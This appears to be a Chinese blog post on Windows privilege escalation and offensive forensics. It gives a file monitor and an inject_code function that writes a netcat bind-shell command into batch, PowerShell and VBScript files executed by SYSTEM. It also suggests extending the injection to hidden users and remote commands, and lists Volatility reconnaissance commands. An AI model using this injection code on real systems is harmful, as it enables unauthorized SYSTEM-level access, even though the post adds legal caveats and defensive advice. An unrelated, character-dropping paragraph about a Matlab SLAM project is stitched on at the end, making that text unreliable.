16、Windows 提权与进攻性取证技术解析

Windows 提权与进攻性取证技术解析

一、Windows 提权

在 Windows 系统中,提权是获取更高权限以执行更多操作的重要手段。下面将详细介绍相关技术和操作步骤。

1. 进程监控与权限跟踪

通过添加权限跟踪代码,我们可以监控进程的权限信息。以下是具体操作:
- 运行 process_monitor.py 脚本:

C:\Users\tim\work> python.exe process_monitor.py

运行后,会输出进程的权限信息,例如:

"Calculator.exe",
20200624084445.120519-240 ,
C:\Program Files\WindowsApps\Microsoft.WindowsCalculator\Calculator.exe,
1204 ,
13116 ,
('DESKTOP-CC91N7I', 0, 'tim') ,
SeChangeNotifyPrivilege|
notepad ,
20200624084436.727998-240 ,
C:\Windows\system32\notepad.exe,
10720 ,
2732 ,
('DESKTOP-CC91N7I', 0, 'tim') ,
SeChangeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobalPrivilege|

我们可以根据这些信息,筛选出以非特权用户运行但启用了有趣权限的进程,从而发现依赖不安全外部文件的进程。

2. 竞争条件利用

在企业环境中,批处理、VBScript 和 PowerShell 脚本常用于自动化任务,但这些脚本文件可能存在访问控制不足的问题。例如,某些脚本由 SYSTEM 用户每天运行一次,但任何用户都可以全局写入。

当运行进程监控器足够长时间时,可能会看到类似以下的进程记录:

wscript.exe C:\Windows\TEMP\bhservice_task.vbs , 20200624102235.287541-240 , C:\Windows\
SysWOW64\wscript.exe,2828 , 17516 , ('NT AUTHORITY', 0, 'SYSTEM') , SeLockMemoryPrivilege|SeTcb
Privilege|SeSystemProfilePrivilege|SeProfileSingleProcessPrivilege|SeIncreaseBasePriorityPrivil
ege|SeCreatePagefilePrivilege|SeCreatePermanentPrivilege|SeDebugPrivilege|SeAuditPrivilege|SeCh
angeNotifyPrivilege|SeImpersonatePrivilege|SeCreateGlobalPrivilege|SeIncreaseWorkingSetPrivileg
e|SeTimeZonePrivilege|SeCreateSymbolicLinkPrivilege|SeDelegateSessionUserImpersonatePrivilege|

这里,SYSTEM 进程启动了 wscript.exe 并传入了 C:\WINDOWS\TEMP\bhservice_task.vbs 参数。但当查看目录内容时,可能看不到该文件,因为服务会创建包含 VBScript 的文件,执行后再删除。

为了利用这种情况,我们需要在文件被执行和删除之前注入自己的代码。可以使用 Windows API ReadDirectoryChangesW 来监控目录变化,以下是创建文件监控器的代码:

# Modified example that is originally given here:
# http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.html
import os
import tempfile
import threading
import win32con
import win32file

FILE_CREATED = 1
FILE_DELETED = 2
FILE_MODIFIED = 3
FILE_RENAMED_FROM = 4
FILE_RENAMED_TO = 5
FILE_LIST_DIRECTORY = 0x0001

PATHS = ['c:\\WINDOWS\\Temp', tempfile.gettempdir()]

def monitor(path_to_watch):
    h_directory = win32file.CreateFile(
        path_to_watch,
        FILE_LIST_DIRECTORY,
        win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE |
        win32con.FILE_SHARE_DELETE,
        None,
        win32con.OPEN_EXISTING,
        win32con.FILE_FLAG_BACKUP_SEMANTICS,
        None
    )
    while True:
        try:
            results = win32file.ReadDirectoryChangesW(
                h_directory,
                1024,
                True,
                win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
                win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
                win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
                win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
                win32con.FILE_NOTIFY_CHANGE_SECURITY |
                win32con.FILE_NOTIFY_CHANGE_SIZE,
                None,
                None
            )
            for action, file_name in results:
                full_filename = os.path.join(path_to_watch, file_name)
                if action == FILE_CREATED:
                    print(f'[+] Created {full_filename}')
                elif action == FILE_DELETED:
                    print(f'[-] Deleted {full_filename}')
                elif action == FILE_MODIFIED:
                    print(f'[*] Modified {full_filename}')
                    try:
                        print('[vvv] Dumping contents ... ')
                        with open(full_filename) as f:
                            contents = f.read()
                        print(contents)
                        print('[^^^] Dump complete.')
                    except Exception as e:
                        print(f'[!!!] Dump failed. {e}')
                elif action == FILE_RENAMED_FROM:
                    print(f'[>] Renamed from {full_filename}')
                elif action == FILE_RENAMED_TO:
                    print(f'[<] Renamed to {full_filename}')
                else:
                    print(f'[?] Unknown action on {full_filename}')
        except Exception:
            pass

if __name__ == '__main__':
    for path in PATHS:
        monitor_thread = threading.Thread(target=monitor, args=(path,))
        monitor_thread.start()

操作步骤如下:
1. 定义要监控的目录列表 PATHS ,这里选择了两个常见的临时文件目录。
2. 为每个路径创建一个监控线程,调用 monitor 函数。
3. monitor 函数首先获取要监控目录的句柄,然后调用 ReadDirectoryChangesW 函数监控目录变化。
4. 当检测到文件变化时,输出相关信息,若文件被修改,则输出文件内容。

3. 代码注入

在能够监控进程和文件位置后,我们可以自动将代码注入目标文件。以下是具体步骤:
- 定义常量和代码片段:

NETCAT = 'c:\\users\\tim\\work\\netcat.exe'
TGT_IP = '192.168.1.208'
CMD = f'{NETCAT} -t {TGT_IP} -p 9999 -l -c '

FILE_TYPES = {
    '.bat': ["\r\nREM bhpmarker\r\n", f'\r\n{CMD}\r\n'],
    '.ps1': ["\r\n#bhpmarker\r\n", f'\r\nStart-Process "{CMD}"\r\n'],
    '.vbs': ["\r\n'bhpmarker\r\n",
    f'\r\nCreateObject("Wscript.Shell").Run("{CMD}")\r\n'],
}
  • 定义 inject_code 函数:
def inject_code(full_filename, contents, extension):
    if FILE_TYPES[extension][0].strip() in contents:
        return
    full_contents = FILE_TYPES[extension][0]
    full_contents += FILE_TYPES[extension][1]
    full_contents += contents
    with open(full_filename, 'w') as f:
        f.write(full_contents)
    print('\\o/ Injected Code')
  • 修改主事件循环:
elif action == FILE_MODIFIED:
    extension = os.path.splitext(full_filename)[1]
    if extension in FILE_TYPES:
        print(f'[*] Modified {full_filename}')
        print('[vvv] Dumping contents ... ')
        try:
            with open(full_filename) as f:
                contents = f.read()
            # NEW CODE
            inject_code(full_filename, contents, extension)
            print(contents)
            print('[^^^] Dump complete.')
        except Exception as e:
            print(f'[!!!] Dump failed. {e}')

操作步骤如下:
1. 定义常量 NETCAT TGT_IP CMD ,用于指定 Netcat 可执行文件的位置、目标 IP 地址和要执行的命令。
2. 定义 FILE_TYPES 字典,包含不同文件扩展名对应的代码片段和标记。
3. inject_code 函数用于检查文件中是否已存在标记,若不存在则注入代码。
4. 修改主事件循环,当检测到文件被修改且文件扩展名在 FILE_TYPES 中时,调用 inject_code 函数。

二、进攻性取证

进攻性取证是利用防御工具进行侦察和攻击的技术。下面将介绍使用 Volatility 框架进行进攻性取证的方法。

1. Volatility 框架安装

Volatility 是一个用于内存取证的 Python 框架,以下是在 Windows 系统上的安装步骤:
1. 创建并激活虚拟环境:

PS> python3 -m venv vol3
PS> vol3/Scripts/Activate.ps1
PS> cd vol3/
  1. 克隆 Volatility 3 GitHub 仓库并安装:
PS> git clone https://github.com/volatilityfoundation/volatility3.git
PS> cd volatility3/
PS> python setup.py  install
  1. 安装 pycryptodome
PS> pip install pycryptodome

安装完成后,可以使用以下命令查看 Volatility 提供的插件和选项:
- Windows 系统:

PS> vol --help
  • Linux 或 Mac 系统:
$> python vol.py --help
2. 内存镜像获取

获取内存镜像的最简单方法是对自己的 Windows 10 虚拟机进行快照。具体步骤如下:
1. 启动 Windows 虚拟机并运行一些进程,如记事本、计算器和浏览器。
2. 使用虚拟机管理程序进行快照,在虚拟机存储目录中会生成以 .vmem .mem 结尾的快照文件。

此外,还可以在网上找到许多内存镜像,例如 PassMark Software 提供的镜像:https://www.osforensics.com/tools/volatility-workbench.html/ ,以及 Volatility Foundation 网站提供的镜像:https://github.com/volatilityfoundation/volatility/wiki/Memory-Samples/ 。

3. 通用侦察

使用 Volatility 框架进行通用侦察可以获取目标机器的基本信息。以下是具体操作:
- 使用 windows.info 插件查看操作系统和内核信息:

PS>vol -f WinDev2007Eval-Snapshot4.vmem windows.info

输出结果示例:

Volatility 3 Framework 1.2.0-beta.1
Progress:   33.01               Scanning primary2 using PdbSignatureScanner
Variable        Value
Kernel Base     0xf80067a18000
DTB             0x1aa000
primary 0       WindowsIntel32e
memory_layer    1 FileLayer
KdVersionBlock  0xf800686272f0
Major/Minor     15.19041
MachineType     34404
KeNumberProcessors      1
SystemTime      2020-09-04 00:53:46
NtProductType   NtProductWinNt
NtMajorVersion  10
NtMinorVersion  0
PE MajorOperatingSystemVersion  10
PE MinorOperatingSystemVersion  0
PE Machine      34404
  • 使用 registry.printkey 插件打印注册表键值:
PS>vol -f WinDev2007Eval-7d959ee5.vmem windows.registry.printkey --key 'ControlSet001\Services'

输出结果会列出注册表中 ControlSet001\Services 键下的所有服务信息。

通过以上操作,我们可以深入了解目标系统的信息,为进一步的攻击提供依据。

综上所述,Windows 提权和进攻性取证是在网络安全领域中非常重要的技术。通过掌握这些技术,我们可以更好地保护自己的系统安全,同时也可以发现和利用系统中的漏洞。在实际应用中,需要根据具体情况选择合适的方法和工具,并严格遵守法律法规。

Windows 提权与进攻性取证技术解析

三、技术总结与应用拓展
1. 技术总结

为了更清晰地展示前面介绍的各项技术,我们可以用表格进行总结:
| 技术类别 | 具体技术 | 操作步骤 |
| ---- | ---- | ---- |
| Windows 提权 | 进程监控与权限跟踪 | 运行 process_monitor.py 脚本,根据输出筛选有特殊权限的进程 |
| | 竞争条件利用 | 1. 定义监控目录列表;2. 创建监控线程;3. 获取目录句柄并监控变化;4. 输出文件变化信息及内容 |
| | 代码注入 | 1. 定义常量和代码片段;2. 编写 inject_code 函数;3. 修改主事件循环,根据文件扩展名注入代码 |
| 进攻性取证 | Volatility 框架安装 | 1. 创建并激活虚拟环境;2. 克隆并安装 Volatility 3 仓库;3. 安装 pycryptodome |
| | 内存镜像获取 | 1. 启动虚拟机并运行进程;2. 进行快照获取 .vmem .mem 文件;也可从网上获取 |
| | 通用侦察 | 1. 使用 windows.info 插件查看系统信息;2. 使用 registry.printkey 插件打印注册表键值 |

下面是一个 mermaid 格式的流程图,展示 Windows 提权的整体流程:

graph LR
    A[开始] --> B[进程监控与权限跟踪]
    B --> C{是否发现有特殊权限进程}
    C -- 是 --> D[竞争条件利用]
    C -- 否 --> B
    D --> E[代码注入]
    E --> F[结束]
2. 应用拓展

在实际应用中,我们可以根据不同的场景对这些技术进行拓展。例如,在 Windows 提权方面:
- 扩大监控范围 :在进程监控时,可以不仅仅监控临时目录,还可以监控系统关键目录,如 C:\Windows\System32 等,以发现更多潜在的提权机会。
- 优化代码注入 :可以根据不同的目标系统和需求,修改注入的代码片段,实现更复杂的功能,如创建隐藏用户、执行远程命令等。

在进攻性取证方面:
- 自定义插件开发 :深入研究 Volatility 框架的代码结构,开发自定义插件,以满足特定的侦察需求,如查找特定的进程或文件。
- 多镜像分析 :同时对多个内存镜像进行分析,对比不同时间点或不同系统的信息,发现更隐蔽的攻击痕迹。

四、注意事项与安全建议
1. 注意事项

在使用这些技术时,需要注意以下几点:
- 合法性 :确保你的操作是在合法的环境和授权下进行的,避免进行未经授权的攻击和侦察行为,否则可能会触犯法律法规。
- 系统稳定性 :代码注入和内存分析等操作可能会对系统的稳定性产生影响,在进行操作前,最好先备份重要数据,并在测试环境中进行充分测试。
- 数据准确性 :在进行内存分析时,由于内存数据的动态性,可能会出现数据不准确的情况,需要结合其他信息进行综合判断。

2. 安全建议

为了提高系统的安全性,我们可以采取以下建议:
- 权限管理 :严格控制用户和进程的权限,避免不必要的高权限运行,减少提权的风险。
- 文件访问控制 :对重要的脚本文件和系统文件设置严格的访问控制,防止被非法修改和利用。
- 定期检查 :定期使用安全工具对系统进行检查,包括内存分析、进程监控等,及时发现和处理潜在的安全威胁。

以下是一个 mermaid 格式的流程图,展示安全防护的整体流程:

graph LR
    A[开始] --> B[权限管理]
    B --> C[文件访问控制]
    C --> D[定期检查]
    D --> E{是否发现安全威胁}
    E -- 是 --> F[处理威胁]
    E -- 否 --> D
    F --> G[结束]

通过以上的技术总结、应用拓展以及注意事项和安全建议,我们可以更全面地掌握 Windows 提权和进攻性取证技术,在保障系统安全的同时,也能更好地发现和利用潜在的安全漏洞。

同步定位地图构建(SLAM)技术为移动机器人或自主载具在未知空间中的导航供了核心支撑。借助该技术,机器人能够在探索过程中实时构建环境地图并确定自身位置。典型的SLAM流程涵盖传感器数据采集、数据处理、状态估计及地图生成等环节,其核心挑战在于有效处理定位环境建模中的各类不确定性。 Matlab作为工程计算数据可视化领域广泛应用的数学软件,具备丰富的内置函数专用工具箱,尤其适用于算法开发仿真验证。在SLAM研究方面,Matlab可用于模拟传感器输出、实现定位建图算法,并进行系统性能评估。其仿真环境能显著降低实验成本,加速算法开发验证周期。 本次“SLAM-基于Matlab的同步定位建图仿真实践项目”通过Matlab平台完整再现了SLAM的关键流程,包括数据采集、滤波估计、特征取、数据关联地图更新等核心模块。该项目不仅呈现了SLAM技术的实际应用场景,更为机器人导航自主移动领域的研究人员供了系统的实践参考。 项目涉及的核心技术要点主要包括:传感器模型(如激光雷达视觉传感器)的建立应用、特征匹配数据关联方法、滤波器设计(如扩展卡尔曼滤波粒子滤波)、图优化框架(如GTSAMCeres Solver)以及路径规划避障策略。通过项目实践,参者可深入掌握SLAM算法的实现原理,并升相关算法的设计调试能力。 该项目同时注重理论向工程实践的转化,为机器人技术领域的学习者供了宝贵的实操经验。Matlab仿真环境将复杂的技术问题可视化可操作化,显著降低了学习门槛,升了学习效率质量。 实践过程中,学习者将直面SLAM技术在实际应用中遇到的典型问题,包括传感器误差补偿、动态环境下的建图定位挑战以及计算资源优化等。这些问题的解决对推动SLAM技术的产业化应用具有重要价值。 SLAM技术在工业自动化、服务机器人、自动驾驶及无人机等领域的应用前景广阔。掌握该项技术不仅有助于升个人专业能力,也为相关行业的技术发展供了重要支撑。随着技术进步应用场景的持续拓展,SLAM技术的重要性将日益凸显。 本实践项目作为综合性学习资源,为机器人技术领域的专业人员供了深入研习SLAM技术的实践平台。通过Matlab这一高效工具,参者能够直观理解SLAM的实现过程,掌握关键算法,并将理论知识系统应用于实际工程问题的解决之中。 资源来源于网络分享,仅用于学习交流使用,请勿用于商业,如有侵请联系我删除!
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值